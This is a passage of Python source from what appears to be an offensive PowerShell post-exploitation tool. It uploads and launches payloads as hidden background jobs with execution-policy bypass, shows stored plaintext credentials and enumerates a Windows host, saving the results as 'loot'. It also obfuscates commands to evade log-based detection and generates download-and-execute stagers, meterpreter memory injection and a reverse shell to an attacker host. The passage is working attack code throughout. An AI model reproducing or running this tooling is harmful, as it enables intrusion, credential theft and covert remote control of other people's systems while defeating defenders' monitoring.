# Loop through each data chunk
1518
for i in range(int(length / chunk_size) + 1):
1519
1520
# Read base64 encoded chunk from file
1521
self.framework.UploadVariableChunk(variable_name, base64.b64encode(payload[(i * chunk_size):(i * chunk_size + chunk_size)]).decode("utf-8", "ignore"))
1522
uploaded += (length - uploaded) if ((length - uploaded) < chunk_size) else chunk_size
1523
1524
# Print sexy status
1525
sys.stdout.write("\b" * Print.status(
1526
"Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
1527
(uploaded / length * 100),
1528
Print.size(uploaded),
1529
Print.size(length),
1530
Print.ETA(now, uploaded, length)
1531
) + Print.wipe(), True))
1532
1533
# Prompt for integrity check
1534
sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))
1535
1536
# Check integrity (of variable)
1537
if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(payload).hexdigest().lower()):
1538
Print.success("Upload completed" + Print.wipe())
1539
1540
sys.stdout.write("\b" * Print.status("Launching background job...", True))
1541
1542
# Invoke payload!
1543
self.check_command("$" + variable_name + " = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($" + variable_name + ")))")
1544
1545
# Escape payload back to string, and back to scriptblock
1546
self.check_command("$" + variable_name + " = $" + variable_name + ".ToString() -replace \"\\$\",\"``$\"")
1547
1548
# Check if elevation should be used
1549
if use_elevation:
1550
self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")")
1551
1552
# Execute with -NoNewWindow
1553
else:
1554
self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")")
1555
1556
if credential_name == None:
1557
self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name)
1558
else:
1559
self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name + " -Credential $" + credential_name )
1560
self.check_command("Remove-Variable -Name " + credential_name)
1561
1562
Print.success("Job started: " + job_name)
1563
Print.info("Check status with \033[1m\033[38;5;255mGet-Job " + job_name + "\033[0m")
1564
Print.info("Check process ID with \033[1m\033[38;5;255m(Get-Job " + job_name + ").ChildJobs.Output\033[0m or \033[1m\033[38;5;255m(((Get-Job " + job_name + ").ChildJobs)|Select Output).Output\033[0m")
1565
1566
1567
else:
1568
Print.error("Integrity check failed" + Print.wipe())
1569
1570
# Remove variable after it has been used
1571
self.check_command("Remove-Variable -Name " + variable_name)
1572
1573
else:
1574
Print.error("Incorrect values were specified")
1575
1576
1577
# Print empty line
1578
Print.text()
1579
1580
# Send empty command to load buffer
1581
self.send_command("")
1582
1583
1584
1585
def psh_Local_Credential(self, create_new=False):
1586
1587
# Clear command buffer
1588
self.check_command("")
1589
1590
if create_new:
1591
Print.text()
1592
Print.text("Supply values for the following parameters:")
1593
variable_name = Utility.dynamic_variable()
1594
1595
username = input(" \033[1m\033[38;5;255mUsername:\033[0m ").strip()
1596
password = input(" \033[1m\033[38;5;255mPassword:\033[0m ").strip()
1597
1598
self.framework.CreateCredential(variable_name, username, password)
1599
1600
self.credentials.append(variable_name)
1601
1602
Print.success("Credential created as global variable: \033[1m\033[38;5;255m" + variable_name + "\033[0m")
1603
1604
elif len(self.credentials) > 0:
1605
1606
credentials = []
1607
sys.stdout.write("\b" * Print.status("Collecting credentials...", True))
1608
1609
for credential in self.credentials:
1610
result = self.framework.GetCredential(credential).split("\n")[:-1]
1611
if (len(result) == 2):
1612
credentials.append([credential, result[0], result[1]])
1613
1614
if len(credentials) > 0:
1615
1616
column0_max = max(max(len(x[0]) for x in credentials), len("Variable")) + 2
1617
column1_max = max(max(len(x[1]) for x in credentials), len("Username")) + 2
1618
column2_max = max(max(len(x[2]) for x in credentials), len("Password")) + 2
1619
1620
base_template = "\n {:<" + str(column0_max) + "}{:<" + str(column1_max) + "}{:<}"
1621
1622
sys.stdout.write(Print.wipe())
1623
sys.stdout.write(base_template.format("Variable", "Username", "Password"))
1624
sys.stdout.write("\n " + ("-" * (column0_max - 2)) + " " + ("-" * (column1_max - 2)) + " " + ("-" * (column2_max - 2)))
1625
1626
for credential in credentials:
1627
sys.stdout.write(base_template.format(credential[0], credential[1], credential[2]))
1628
1629
sys.stdout.write("\n")
1630
sys.stdout.flush()
1631
Print.text()
1632
1633
else:
1634
Print.warning("No credentials have been created")
1635
else:
1636
Print.warning("No credentials have been created")
1637
1638
# Send empty command to load buffer
1639
self.send_command("")
1640
1641
1642
def psh_Local_Clear(self):
1643
1644
# Clear console
1645
os.system("clear; echo -e \"\\033c\\e[3J\"")
1646
1647
# Send empty command to load buffer
1648
self.send_command("")
1649
1650
1651
def psh_Local_Invoke(self, file_path, is_module=False):
1652
1653
try:
1654
# Remove encapsulating quotes
1655
file_path = Utility.remove_encapsulating_quotes(file_path)
1656
1657
# Do nothing if file path is empty
1658
if len(file_path) > 0:
1659
1660
sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True))
1661
1662
# Get filename, for local storage
1663
file_name = os.path.basename(file_path)
1664
1665
# Remove remote file if exists
1666
if os.path.isfile(file_path):
1667
1668
# Temporary variable name
1669
variable_name = Utility.dynamic_variable()
1670
1671
# Get file size
1672
length = os.path.getsize(file_path)
1673
chunk_size = 384
1674
uploaded = 0
1675
1676
# Check if file is empty
1677
if length > 0:
1678
1679
# Reserve variable with an empty value
1680
self.framework.UploadVariableChunk(variable_name, "")
1681
1682
# Open file for byte reading
1683
with open(file_name, "rb") as _file:
1684
1685
# Start timer
1686
now = time.time()
1687
1688
# Loop through each data chunk
1689
for i in range(int(length / chunk_size) + 1):
1690
1691
# TODO :: Check if this can be made less CPU-intensive
1692
# Read base64 encoded chunk from file
1693
data = _file.read(chunk_size)
1694
self.framework.UploadVariableChunk(variable_name, base64.b64encode(data).decode("utf-8", "ignore"))
1695
uploaded += len(data)
1696
1697
# Print sexy status
1698
sys.stdout.write("\b" * Print.status(
1699
"Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
1700
(uploaded / length * 100),
1701
Print.size(uploaded),
1702
Print.size(length),
1703
Print.ETA(now, uploaded, length)
1704
) + Print.wipe(), True))
1705
1706
# Prompt for integrity check
1707
sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))
1708
1709
# Check integrity (of variable)
1710
if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(open(file_path, "rb").read()).hexdigest().lower()):
1711
Print.success("Upload completed" + Print.wipe())
1712
Print.status("Invoking command...")
1713
1714
# Invoke variable and print result
1715
# Retrieve prompt as the evaluation can effect the enviornment
1716
if is_module:
1717
self.prompt = self.format_response(self.framework.InvokeModuleVariable(variable_name))
1718
else:
1719
self.prompt = self.format_response(self.framework.InvokeVariable(variable_name))
1720
1721
else:
1722
Print.error("Integrity check failed" + Print.wipe())
1723
1724
# Remove variable after it has been used
1725
self.check_command("Remove-Variable -Name " + variable_name)
1726
1727
# Show error if file is empty
1728
else:
1729
Print.error("The file is empty")
1730
1731
# Show error if file doesn't exist
1732
else:
1733
Print.error("File does not exist")
1734
1735
# Abort on ctrl+c
1736
except KeyboardInterrupt:
1737
Print.warning("Upload aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C"
1738
1739
# Clear command buffer
1740
self.check_command("")
1741
1742
# Unkown exception
1743
except Exception as e:
1744
Print.error("Something went wrong")
1745
Print.error(str(e))
1746
1747
# Clear command buffer
1748
self.check_command("")
1749
1750
# Send empty command to load buffer
1751
self.send_command("")
1752
1753
1754
def psh_Local_Download_Commands(self):
1755
1756
# Clear command buffer
1757
self.check_command("")
1758
1759
# Print message
1760
sys.stdout.write("\b" * Print.status("Downloading commands...", True))
1761
1762
# Remove remote commands
1763
self.command_definition = {k: v for k, v in self.command_definition.items() if v != None}
1764
1765
# Download commands
1766
for command in self.framework.DownloadCommands():
1767
self.command_definition[command] = None
1768
1769
# Wipe line
1770
sys.stdout.write(Print.wipe())
1771
1772
# Clear command buffer
1773
self.check_command("")
1774
1775
# Send empty command to load buffer
1776
self.send_command("")
1777
1778
1779
def psh_Local_Set_Width(self, width=0):
1780
1781
width = (Utility.get_terminal_width() - 2) if (width == 0 or len(str(width).strip()) == 0) else width
1782
1783
if str(width).isdigit() and int(width) >= 80 and int(width) <= 1024:
1784
self.framework.SetWidth(int(width))
1785
Print.success("Window buffer width: " + str(width))
1786
else:
1787
Print.error("Illegal value")
1788
1789
# Clear command buffer
1790
self.check_command("")
1791
1792
# Send empty command to load buffer
1793
self.send_command("")
1794
1795
1796
def psh_Local_Upload(self, file_path):
1797
1798
# Remote file path holder, declared outside try-catch as it's used inside catch
1799
remote_file_path = ""
1800
1801
try:
1802
# Remove encapsulating quotes
1803
file_path = Utility.remove_encapsulating_quotes(file_path)
1804
1805
# Do nothing if file path is empty
1806
if len(file_path) > 0:
1807
1808
sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True))
1809
1810
# Get filename, for local storage
1811
file_name = os.path.basename(file_path)
1812
1813
# Get absolute path from client, as some programs use starting path instead of the working directory
1814
remote_file_path = self.framework.AbsolutePath(".//") + file_name
1815
1816
# Remove remote file if exists
1817
if os.path.isfile(file_path):
1818
1819
# Get file size
1820
length = os.path.getsize(file_path)
1821
chunk_size = 384
1822
uploaded = 0
1823
1824
# Check if file is empty
1825
if length > 0:
1826
1827
# Remove remote file if exists
1828
if self.framework.FileExist(remote_file_path): self.check_command("rm " + remote_file_path)
1829
1830
# Open file for byte reading
1831
with open(file_name, "rb") as _file:
1832
1833
# Start timer
1834
now = time.time()
1835
1836
# Loop through each data chunk
1837
for i in range(int(length / chunk_size) + 1):
1838
1839
# Read base64 encoded chunk from file
1840
data = _file.read(chunk_size)
1841
self.framework.UploadChunk(remote_file_path, base64.b64encode(data).decode("utf-8", "ignore"))
1842
uploaded += len(data)
1843
1844
# Print sexy status
1845
sys.stdout.write("\b" * Print.status(
1846
"Uploading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
1847
(uploaded / length * 100),
1848
Print.size(uploaded),
1849
Print.size(length),
1850
Print.ETA(now, uploaded, length)
1851
) + Print.wipe(), True))
1852
1853
# Prompt for integrity check
1854
sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))
1855
1856
# Check integrity
1857
if (self.framework.FileSum(remote_file_path).lower() == hashlib.md5(open(file_path, "rb").read()).hexdigest().lower()):
1858
Print.success("Upload completed" + Print.wipe())
1859
else:
1860
Print.error("Integrity check failed" + Print.wipe())
1861
1862
# Show error if file is empty
1863
else:
1864
Print.error("The file is empty")
1865
1866
# Show error if file doesn't exist
1867
else:
1868
Print.error("File does not exist")
1869
1870
# Abort on ctrl+c
1871
except KeyboardInterrupt:
1872
Print.warning("Upload aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C"
1873
1874
# Remove remote file if exists
1875
if self.framework.FileExist(remote_file_path): self.check_command("rm " + remote_file_path)
1876
1877
# Clear command buffer
1878
self.check_command("")
1879
1880
# Send empty command to load buffer
1881
self.send_command("")
1882
1883
1884
def psh_Local_Download(self, file_path):
1885
1886
try:
1887
# Remove encapsulating quotes
1888
file_path = Utility.remove_encapsulating_quotes(file_path)
1889
1890
# Do nothing if file path is empty
1891
if len(file_path) > 0:
1892
1893
sys.stdout.write("\b" * Print.status("Checking file..." + Print.wipe(), True))
1894
1895
# Get absolute path from client, as some programs use starting path instead of the working directory
1896
file_path = self.framework.AbsolutePath(file_path)
1897
1898
# Get filename, for local storage
1899
file_name = file_path.split("\\")[-1:][0]
1900
1901
# Check if file exists
1902
if (self.framework.FileExist(file_path)):
1903
1904
# Get file size from client
1905
length = self.framework.FileSize(file_path)
1906
chunk_size = 384
1907
downloaded = 0
1908
1909
# Check if file is empty
1910
if length > 0:
1911
1912
# Remove local file if exists, data will get appended
1913
try: os.remove(file_name)
1914
except OSError: pass
1915
1916
# Open file for byte appending
1917
with open(file_name, "ab") as _file:
1918
1919
# Start timer
1920
now = time.time()
1921
1922
# Loop through each data chunk
1923
for i in range(int(length / chunk_size) + 1):
1924
1925
# Download base64 encoded chunk from client
1926
chunk = base64.b64decode((self.framework.DownloadChunk(file_path, i * chunk_size, chunk_size)))
1927
downloaded += len(chunk)
1928
1929
# Write chunk to file
1930
_file.write(chunk)
1931
1932
# Print sexy status
1933
sys.stdout.write("\b" * Print.status(
1934
"Downloading: \033[92m{1:s}\033[0m \033[94m==>\033[0m \033[92m{2:s}\033[0m (\033[96m{0:.2f}%\033[0m) \033[38;5;130m{3:s}\033[0m".format(
1935
(downloaded / length * 100),
1936
Print.size(downloaded),
1937
Print.size(length),
1938
Print.ETA(now, downloaded, length)
1939
) + Print.wipe(), True))
1940
1941
# Prompt for integrity check
1942
sys.stdout.write("\b" * Print.status("Checking integrity..." + Print.wipe(), True))
1943
1944
# Check integrity
1945
if (self.framework.FileSum(file_path).lower() == hashlib.md5(open(file_name, "rb").read()).hexdigest().lower()):
1946
Print.success("Download completed" + Print.wipe())
1947
else:
1948
Print.error("Integrity check failed" + Print.wipe())
1949
1950
# Show error if file is empty
1951
else:
1952
Print.error("The file is empty")
1953
1954
# Show error if file doesn't exist on client
1955
else:
1956
Print.error("File does not exist")
1957
1958
# Abort on ctrl+c
1959
except KeyboardInterrupt:
1960
Print.warning("Download aborted" + Print.wipe(64)) # Add big wipe to remove eventual "^C"
1961
1962
# Remove local file if exists
1963
try: os.remove(file_name)
1964
except OSError: pass
1965
1966
# Clear command buffer
1967
self.check_command("")
1968
1969
# Send empty command to load buffer
1970
self.send_command("")
1971
1972
1973
def psh_Local_Enumerate_System(self):
1974
1975
commands = [
1976
{
1977
"name" : "enum.powershell.modules",
1978
"message" : "Enumerating powershell modules...",
1979
"command" : r"Get-Module -ListAvailable",
1980
},
1981
{
1982
"name" : "enum.powershell.variables",
1983
"message" : "Enumerating powershell variables...",
1984
"command" : "Get-Variable |%{ \"Name : {0}`r`nValue: {1}`r`n\" -f $_.Name,$_.Value }",
1985
},
1986
{
1987
"name" : "enum.computer.system",
1988
"message" : "Enumerating computer system...",
1989
"command" : r"Get-WmiObject -Class Win32_ComputerSystem|fl *",
1990
},
1991
{
1992
"name" : "enum.bios.info",
1993
"message" : "Enumerating BIOS information...",
1994
"command" : r"Get-WmiObject -Class Win32_BIOS -ComputerName .|fl *",
1995
},
1996
{
1997
"name" : "enum.operating.system",
1998
"message" : "Enumerating operating system...",
1999
"command" : r"Get-CimInstance Win32_OperatingSystem|fl *",
2000
},
2001
{
2002
"name" : "enum.internet.explorer",
2003
"message" : "Enumerating Internet Explorer...",
2004
"command" : r"(Get-ItemProperty 'HKLM:\Software\Microsoft\Internet Explorer')",
2005
},
2006
{
2007
"name" : "enum.devices",
2008
"message" : "Enumerating devices...",
2009
"command" : r"Get-PnpDevice|Select-Object Status,Class,FriendlyName,InstanceId|ft -Wrap",
2010
},
2011
{
2012
"name" : "enum.disks",
2013
"message" : "Enumerating disks...",
2014
"command" : r"Get-WmiObject -Class Win32_LogicalDisk -ComputerName .|ft -Wrap",
2015
},
2016
{
2017
"name" : "enum.service.status",
2018
"message" : "Enumerating service status...",
2019
"command" : r"Get-WmiObject -Class Win32_Service -ComputerName .| Select-Object -Property Status,Name,DisplayName|ft -Wrap",
2020
},
2021
{
2022
"name" : "enum.installed.software",
2023
"message" : "Enumerating installed software...",
2024
"command" : r"Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|ft -Wrap",
2025
},
2026
{
2027
"name" : "enum.installed.patches",
2028
"message" : "Enumerating installed patches...",
2029
"command" : r"Get-WmiObject -Class win32_quickfixengineering|fl *",
2030
},
2031
{
2032
"name" : "enum.group.membership",
2033
"message" : "Enumerating group membership...",
2034
"command" : "([ADSI](\"WinNT://$($env:COMPUTERNAME)\")).children.where({$_.class -eq 'group'}) | Select @{n='Computername';e={$_.Parent.split('/')[-1] }}, @{n='Name';e={$_.name.value}}, @{n='Members';e={(([ADSI](\"$($_.Parent)/$($_.Name),group\")).psbase.Invoke('Members')|%{$_.GetType.Invoke().InvokeMember('Name','GetProperty',$null,$_,$null)})-join';'}}",
2035
},
2036
{
2037
"name" : "enum.activedirectory.forest",
2038
"message" : "Enumerating Active Directory forest...",
2039
"command" : r"[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()",
2040
},
2041
{
2042
"name" : "enum.activedirectory.domain",
2043
"message" : "Enumerating Active Directory domain...",
2044
"command" : r"[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()",
2045
},
2046
{
2047
"name" : "enum.activedirectory.gc",
2048
"message" : "Enumerating Active Directory GCs...",
2049
"command" : r"[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs",
2050
},
2051
{
2052
"name" : "enum.user.membership",
2053
"message" : "Enumerating user membership...",
2054
"command" : r"whoami /all",
2055
},
2056
]
2057
output = ""
2058
2059
for i in range(len(commands)):
2060
Print.status(("(%d/%d) " % (i + 1, len(commands))) + commands[i]["message"])
2061
self.send_command(commands[i]["command"])
2062
output += commands[i]["name"] + "\n=======================================\n\n"
2063
output += (("\n".join(self.get_response().split("\n")[:-1])).strip())
2064
output += commands[i]["name"] + "\n\n"
2065
2066
file_name = "/tmp/" + Utility.dynamic_variable()
2067
with open(file_name, "w+") as _file:
2068
_file.write(output)
2069
Print.success("Loot saved at %s" % file_name)
2070
2071
self.send_command("")
2072
2073
2074
# Wraps a pwoershell command in a hex decoder
2075
def powershell_encoding(payload):
2076
2077
# Wrap payload in a hex decoder
2078
return powershell_obfuscation("(-[_OBF_JOIN_](('" + ("".join("{:02x}".format(ord(c)) for c in payload)) + "'-[_OBF_SPLIT_]'(?<=\G.{2})(?!$)')|%{[[_OBF_CONVERT_]]::[_OBF_TOINT16_](($_),16)-[_OBF_AS_][[_OBF_CHAR_]]}))|[_OBF_INVOKE_EXPRESSION_]")
2079
2080
2081
# Obfuscates powershell code in accordance with some standard rules
2082
def powershell_obfuscation(data):
2083
global obfuscation
2084
2085
obfuscate = (Utility.get_configuration_value("obfuscation"))
2086
clone = data
2087
2088
obfuscation_technique = Utility.enum(
2089
RANDOM_CASE = 0,
2090
2091
STRING_SPLITING = 1,
2092
STRING_SPLITING_INVOKE = 2,
2093
STRING_SPLITING_AMP = 3,
2094
2095
REORDERING = 4,
2096
REORDERING_INVOKE = 5,
2097
REORDERING_AMP = 6,
2098
2099
COMMON_RELOCATION = 7,
2100
COMMON_RELOCATION_INVOKE = 8,
2101
COMMON_RELOCATION_AMP = 9,
2102
2103
COMMAND_INVOKATION = 10,
2104
)
2105
2106
for key, value in obfuscation.items():
2107
if (type(value) is dict):
2108
while clone.count(key) > 0:
2109
subject = list(value["text"])
2110
subject = random.choice(value["text"]) if type(value["text"]) is list else value["text"]
2111
2112
def technique(x):
2113
2114
def randomize_case(subject):
2115
subject = list(subject)
2116
2117
for i in range(len(subject)):
2118
if random.getrandbits(1):
2119
subject[i] = subject[i].upper()
2120
2121
return "".join(subject)
2122
2123
2124
def string_spliting(subject):
2125
2126
pieces = []
2127
subject = technique([obfuscation_technique.RANDOM_CASE])(subject)
2128
2129
while(len(subject) > 0):
2130
piece = subject[:random.randint(1, len(subject))]
2131
if piece[len(piece) - 1:len(piece)] != "`":
2132
subject = subject[len(piece):len(subject)]
2133
pieces.append(piece)
2134
2135
return "('" + "'+'".join(pieces) + "')"
2136
2137
2138
def reordering(subject):
2139
2140
pieces = []
2141
indeces = []
2142
subject = technique([obfuscation_technique.RANDOM_CASE])(subject)
2143
2144
while(len(subject) > 0):
2145
piece = subject[:random.randint(1, len(subject))]
2146
if piece[len(piece) - 1:len(piece)] != "`":
2147
subject = subject[len(piece):len(subject)]
2148
pieces.append(piece)
2149
2150
indeces = list(range(len(pieces)))
2151
random.shuffle(indeces)
2152
2153
return "('" + "".join("{" + str(i) + "}" for i in indeces) + "'-f" + ",".join("'" + pieces[indeces.index(i)] + "'" for i in range(len(pieces))) + ")"
2154
2155
2156
def common_relocation(subject):
2157
subject = list(subject)
2158
uniq = list(set(subject))
2159
2160
random.shuffle(uniq)
2161
2162
return "(('" + (" ".join([str(uniq.index(x)) for x in subject])) + "'-" + technique([obfuscation_technique.RANDOM_CASE])("replace") + "'\\w+','{${0}}'-" + technique([obfuscation_technique.RANDOM_CASE])("replace") + "' ','')-f" + (",".join(["'" + x + "'" for x in uniq])) + ")"
2163
2164
def command_invokation(subject):
2165
2166
# Generate Get-Command part
2167
gcm = random.choice([".", "&"]) + technique([
2168
obfuscation_technique.STRING_SPLITING,
2169
obfuscation_technique.REORDERING,
2170
obfuscation_technique.COMMON_RELOCATION
2171
])("gcm")
2172
2173
# Obfuscate command name
2174
command_name = technique([
2175
obfuscation_technique.STRING_SPLITING,
2176
obfuscation_technique.REORDERING,
2177
obfuscation_technique.COMMON_RELOCATION
2178
])(subject)
2179
2180
return random.choice([".", "&"]) + "(" + gcm + command_name + ")"
2181
2182
2183
return {
2184
# Randomize case
2185
obfuscation_technique.RANDOM_CASE : randomize_case,
2186
2187
# String spliting
2188
obfuscation_technique.STRING_SPLITING : string_spliting,
2189
obfuscation_technique.STRING_SPLITING_INVOKE : lambda subject: technique([obfuscation_technique.STRING_SPLITING])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"),
2190
obfuscation_technique.STRING_SPLITING_AMP : lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.STRING_SPLITING])(subject),
2191
2192
# Reordering
2193
obfuscation_technique.REORDERING : reordering,
2194
obfuscation_technique.REORDERING_INVOKE : lambda subject: technique([obfuscation_technique.REORDERING])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"),
2195
obfuscation_technique.REORDERING_AMP : lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.REORDERING])(subject),
2196
2197
# Common relocation
2198
obfuscation_technique.COMMON_RELOCATION : common_relocation,
2199
obfuscation_technique.COMMON_RELOCATION_INVOKE : lambda subject: technique([obfuscation_technique.COMMON_RELOCATION])(subject) + "." + technique([obfuscation_technique.RANDOM_CASE])("invoke"),
2200
obfuscation_technique.COMMON_RELOCATION_AMP : lambda subject: random.choice([".", "&"]) + technique([obfuscation_technique.COMMON_RELOCATION])(subject),
2201
2202
# Command invokation
2203
obfuscation_technique.COMMAND_INVOKATION : command_invokation,
2204
2205
}[random.choice(x)]
2206
2207
def f(x):
2208
return {
2209
2210
# Command obfuscation
2211
obfuscation_type.COMMAND
2212
: lambda subject: technique([
2213
obfuscation_technique.RANDOM_CASE,
2214
] if (not obfuscate) else [
2215
obfuscation_technique.STRING_SPLITING_AMP,
2216
obfuscation_technique.REORDERING_AMP,
2217
obfuscation_technique.COMMON_RELOCATION_AMP,
2218
2219
obfuscation_technique.COMMAND_INVOKATION,
2220
])(subject),
2221
2222
# Argument obfuscation
2223
obfuscation_type.ARGUMENT
2224
: lambda subject: technique([
2225
obfuscation_technique.RANDOM_CASE,
2226
] if (not obfuscate) else [
2227
obfuscation_technique.STRING_SPLITING,
2228
obfuscation_technique.REORDERING,
2229
obfuscation_technique.COMMON_RELOCATION,
2230
])(subject),
2231
2232
# Member obfuscation
2233
obfuscation_type.MEMBER
2234
: lambda subject: technique([
2235
obfuscation_technique.RANDOM_CASE,
2236
] if (not obfuscate) else [
2237
obfuscation_technique.STRING_SPLITING_INVOKE,
2238
obfuscation_technique.REORDERING_INVOKE,
2239
obfuscation_technique.COMMON_RELOCATION_INVOKE,
2240
])(subject),
2241
2242
}.get(x, lambda subject: technique([obfuscation_technique.RANDOM_CASE])(subject))
2243
2244
# Apply obfuscation
2245
subject = f(value["type"])(subject)
2246
2247
clone = Utility.replace_nth(clone, key, subject, 0)
2248
else:
2249
clone = clone.replace(key, value)
2250
2251
return "".join(clone)
2252
2253
2254
# Generates main powershell block
2255
def generate_main(payload):
2256
global powershell_blocks
2257
2258
# Encode payload
2259
payload = powershell_encoding(payload)
2260
2261
main_block = powershell_obfuscation(powershell_blocks[powershell_block.MAIN]).replace(
2262
"[_PS_LOAD_]", payload
2263
)
2264
2265
return main_block
2266
2267
2268
# Generates EC (EncodedCommand) powershell block, with some extra obfuscation totally avoiding "-EC"
2269
# However, I have noticed the powershell engine still interpreting this as -EC... so not 100% stealthy
2270
def generate_encoded_command(load):
2271
global powershell_blocks
2272
2273
c45 = random.randint(0, 45)
2274
c101 = random.randint(0, 101)
2275
c99 = random.randint(0, 99)
2276
2277
return powershell_obfuscation(powershell_blocks[powershell_block.ENCODED_COMMAND]).replace(
2278
"[_PS_VAR_1_]", Utility.dynamic_variable()
2279
).replace(
2280
"[_PS_VAR_2_]", Utility.dynamic_variable()
2281
).replace(
2282
"[_PS_VAR_3_]", Utility.dynamic_variable()
2283
).replace(
2284
"[_PS_VAR_4_]", Utility.dynamic_variable()
2285
).replace(
2286
"[_PS_VAR_C45_A_]", str(c45)
2287
).replace(
2288
"[_PS_VAR_C45_B_]", str(45 - c45)
2289
).replace(
2290
"[_PS_VAR_C101_A_]", str(c101)
2291
).replace(
2292
"[_PS_VAR_C101_B_]", str(101 - c101)
2293
).replace(
2294
"[_PS_VAR_C99_A_]", str(c99)
2295
).replace(
2296
"[_PS_VAR_C99_B_]", str(99 - c99)
2297
).replace("[_PS_LOAD_]", load)
2298
2299
2300
# Generates base64 decoder powershell block
2301
# The idea is that this + EC will simulate an (IEX + webclient) call
2302
# without calling the IEX at all... so looking for IEX in the logs won't help you here
2303
def generate_base64_decoder(url):
2304
global powershell_blocks
2305
2306
return generate_encoded_command(
2307
powershell_obfuscation(powershell_blocks[powershell_block.BASE64_DECODER]).replace(
2308
"[_PS_LOAD_]", generate_webclient("+".join("'" + x + "'" for x in url))
2309
)
2310
)
2311
2312
2313
# Generates XOR decryptor powershell block
2314
# This is used for all payloads being temporary stored on disk
2315
def generate_xor_decryptor(url, key):
2316
global powershell_blocks
2317
2318
return powershell_obfuscation(powershell_blocks[powershell_block.XOR_DECRYPTOR]).replace(
2319
"[_PS_LOAD_]", generate_webclient(url)
2320
).replace(
2321
"[_PS_XOR_I_]", Utility.dynamic_variable()
2322
).replace(
2323
"[_PS_XOR_KEY_]", key
2324
).replace(
2325
"[_PS_XOR_KEY_SIZE_]", str(len(key))
2326
)
2327
2328
2329
# Generates webclient powershell block
2330
def generate_webclient(url):
2331
global powershell_blocks
2332
2333
return powershell_obfuscation(powershell_blocks[powershell_block.WEB_CLIENT]).replace("[_URL_]", url)
2334
2335
2336
# Generates memory injection powershell block
2337
# Used for example with injection of a meterpreter stager into memory
2338
def generate_injection(payload, architecture):
2339
global powershell_blocks
2340
2341
# Generate payload
2342
payload = (
2343
powershell_obfuscation(powershell_blocks[powershell_block.MEMORY_INJECTION]).replace(
2344
"[_PS_MEMB_]",
2345
Utility.dynamic_variable()
2346
).replace(
2347
"[_PS_VAR_PAYLOAD_]",
2348
Utility.dynamic_variable()
2349
).replace(
2350
"[_PS_WF_]",
2351
Utility.dynamic_variable()
2352
).replace(
2353
"[_PS_VAR_X_]",
2354
Utility.dynamic_variable()
2355
).replace(
2356
"[_PS_VAR_I_]",
2357
Utility.dynamic_variable()
2358
).replace(
2359
"[_PS_ARCHITECTURE_]",
2360
"64" if architecture == os_target.WIN64 else "32"
2361
).replace(
2362
"[_PS_PAYLOAD_]",
2363
payload
2364
)
2365
)
2366
2367
# Encode payload
2368
payload = powershell_encoding(payload)
2369
2370
return payload
2371
2372
2373
# Generates reverse shell powershell block
2374
def generate_reverse_shell(lhost, lport):
2375
global powershell_blocks
2376
2377
# Generate payload
2378
payload = (
2379
powershell_obfuscation(powershell_blocks[powershell_block.REVERSE_SHELL]).replace(
2380
"[_PS_VAR_ASCII_]",
2381
Utility.dynamic_variable()
2382
).replace(
2383
"[_PS_VAR_UNICODE_]",
2384
Utility.dynamic_variable()
2385
).replace(
2386
"[_PS_VAR_CLIENT_]",
2387
Utility.dynamic_variable()
2388
).replace(
2389
"[_PS_VAR_STREAM_]",
2390
Utility.dynamic_variable()
2391
).replace(
2392
"[_PS_VAR_SEND_]",
2393
Utility.dynamic_variable()
2394
).replace(
2395
"[_PS_VAR_BYTES_]",
2396
Utility.dynamic_variable()
2397
).replace(
2398
"[_PS_VAR_I_]",
2399
Utility.dynamic_variable()
2400
).replace(
2401
"[_LHOST_]",
2402
lhost
2403
).replace(
2404
"[_LPORT_]",
2405
lport
2406
)
2407
)
2408
2409
# Encode payload
2410
payload = powershell_encoding(payload)
2411
2412
return payload
2413
2414
2415
# Generates injection payload powershell block
2416
